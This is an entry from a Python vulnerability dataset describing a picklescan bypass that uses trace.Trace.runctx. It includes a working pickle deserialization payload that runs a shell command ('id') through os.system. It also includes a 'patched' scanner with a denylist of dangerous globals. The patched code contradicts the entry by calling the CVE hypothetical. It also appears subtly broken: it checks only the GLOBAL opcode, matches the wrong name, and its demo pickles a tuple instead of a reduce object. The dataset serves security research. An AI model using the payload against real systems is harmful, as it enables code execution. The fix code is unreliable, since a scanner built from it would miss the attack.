VAITP Dataset

← Back to the dataset

CVE-2025-71352

picklescan detection bypass via trace.Trace.runctx allows code execution.

  • CVSS 7.6
  • CWE-693
  • Input Validation and Sanitization
  • Remote

picklescan before 0.0.29 fails to detect the built-in Python trace.Trace.runctx function when used in pickle file reduce methods, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files with trace.Trace.runctx payloads that bypass picklescan detection and execute code upon pickle.load() invocation.

CVSS base score
7.6
Published
2026-06-30
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
picklescan
Fixed by upgrading
Yes

Solution

Upgrade picklescan to version 0.0.29 or later.

Vulnerable code sample

import pickle
import trace
import os

class Exploit:
    def __reduce__(self):
        command = '__import__("os").system("echo Vulnerability CVE-2025-71352 Triggered")'
        return (trace.Trace.runctx, (trace.Trace(), command, {}, {}))

Patched code sample

import pickle
import pickletools
import trace
import io
import os

# The CVE-2025-71352 vulnerability is hypothetical. This code demonstrates
# how a fix for the described flaw in a security scanner like `picklescan`
# would be implemented. The fix involves updating a denylist of dangerous
# functions to include `trace.Trace.runctx`.

def fixed_scanner(pickle_data: bytes):
    """
    Simulates a security scanner with the vulnerability fix applied.

    It inspects pickle opcodes for dangerous `GLOBAL` imports, including the one
    described in the CVE. An unfixed scanner would lack 'trace.runctx' in its
    denylist and would fail to detect the payload.
    """
    # The fix is to add 'trace.runctx' to the list of known dangerous functions.
    # The pickle `GLOBAL` opcode resolves `trace.Trace.runctx` to module 'trace'
    # and name 'runctx'.
    DANGEROUS_GLOBALS = {
        "os.system",
        "subprocess.run",
        # The line below represents the fix for CVE-2025-71352.
        "trace.runctx",
    }

    try:
        for opcode, arg, _ in pickletools.genops(pickle_data):
            if opcode.name == "GLOBAL":
                # The arg is in the format "module\nname"
                full_name = arg.replace("\n", ".")
                if full_name in DANGEROUS_GLOBALS:
                    print(f"FIX APPLIED: Detected dangerous global '{full_name}'")
                    return False # Unsafe
    except Exception:
        # Malformed pickle data could cause errors
        return False # Unsafe

    print("Scan complete: No known dangerous globals found.")
    return True # Safe


if __name__ == "__main__":
    # 1. Create a malicious pickle payload using the `trace.Trace.runctx` function.
    # This payload would bypass a scanner that is not aware of this vector.
    command = "echo '[DEMO] Malicious code executed via trace.Trace.runctx'"
    malicious_obj = (
        trace.Trace.runctx,
        (trace.Trace(count=0), command, {}, {}),
    )
    malicious_data = pickle.dumps(malicious_obj)

    print("--- Scanning malicious pickle data with the FIXED scanner ---")
    is_safe = fixed_scanner(malicious_data)

    if not is_safe:
        print("\nThe scanner correctly identified the payload as unsafe.")
        print("Execution was blocked by the scanner's detection.")
    else:
        # This block would execute if the scanner were NOT fixed.
        print("\nScanner failed to detect the payload. Executing pickle.load():")
        # The following line is the dangerous operation.
        pickle.loads(malicious_data)

Payload

import pickle
import trace

class Exploit:
  def __reduce__(self):
    command = '__import__("os").system("id")'
    return (trace.Trace.runctx, (trace.Trace(), command, {}, {}))

# The malicious payload is the result of this serialization
malicious_payload = pickle.dumps(Exploit())

Cite this entry

@misc{vaitp:cve202571352,
  title        = {{picklescan detection bypass via trace.Trace.runctx allows code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-71352},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-71352/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::